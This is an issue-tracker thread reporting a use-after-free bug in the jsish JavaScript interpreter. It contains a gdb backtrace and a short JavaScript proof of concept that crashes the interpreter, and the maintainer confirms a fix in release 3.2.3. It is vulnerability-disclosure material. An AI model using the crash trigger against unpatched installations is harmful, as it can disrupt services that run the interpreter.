Use After Free in JsiInterp:643

[SteinsGatep001]

Description

When jsi_DecrRefCount calls the jsi_freeValueEntry function, it incorrectly references the heap block that has been freed by jsi_freeValueEntry (src/jsiInterp.c:643), causing the Use After Free vulnerability

Build Environment

Ubuntu 16.04 x86_64
gcc version 6.5.0 20181026

Debug Information

backtrace

//...
Program received signal SIGABRT
// ...
#4  0x00000000004249e1 in jsi_freeValueEntry (interp=0x83d010, hPtr=0x8ce930, ptr=0x8cd110) at src/jsiInterp.c:643
#5  0x000000000044c446 in Jsi_HashClear (tablePtr=0x849350) at src/jsiHash.c:507
#6  0x000000000044c53b in Jsi_HashDelete (tablePtr=0x849350) at src/jsiHash.c:526
#7  0x0000000000429975 in jsiInterpDelete (interp=0x83d010, unused=0x83d010) at src/jsiInterp.c:1849
#8  0x000000000042a3fd in Jsi_EventuallyFree (interp=0x83d010, data=0x83d010, proc=0x4291ec <jsiInterpDelete>) at src/jsiInterp.c:1987
#9  0x000000000042a19a in Jsi_InterpDelete (interp=0x83d010) at src/jsiInterp.c:1941
#10 0x000000000059ad50 in jsi_main (argc=0x2, argv=0x7fffffffdfd8) at src/main.c:46
#11 0x000000000059ad9f in main (argc=0x2, argv=0x7fffffffdfd8) at src/main.c:52

[SteinsGatep001]

PoC

var global = this;
(function () {
    try {
        throw function () {
            this.global = 'test';
        };
    } catch (e) {
    }
}());
this.global = 'test'; // trigger use after free

[pcmacdon]

Great find of problem from code that was supposed to be removed a long time ago. Fixed in Release "3.2.3"

[SteinsGatep001]

Great find of problem from code that was supposed to be removed a long time ago. Fixed in Release "3.2.3"

The source code I use is http://jsish.org/zip

Build Environment

Ubuntu 16.04 x86_64
wget http://jsish.org/zip -O jsi.zip && unzip jsi.zip && cd jsi && make

[pcmacdon]

I probably wasn't clear. I meant yes you did find a problem.

But it should be fixed now, in the code I just committed today for "3.2.3".

$ jsish -v
3.2.3 3.0203 84f5b80e64d1abdcf634e27cb6b86dce8e8c87ed 2020-10-14 00:32:37 UTC
$ jsish /tmp/glob.jsi
$ cat /tmp/glob.jsi 
var global = this;
(function () {
    try {
        throw function () {
            this.global = 'test';
        };
    } catch (e) {
    }
}());
this.global = 'test'; // trigger use after free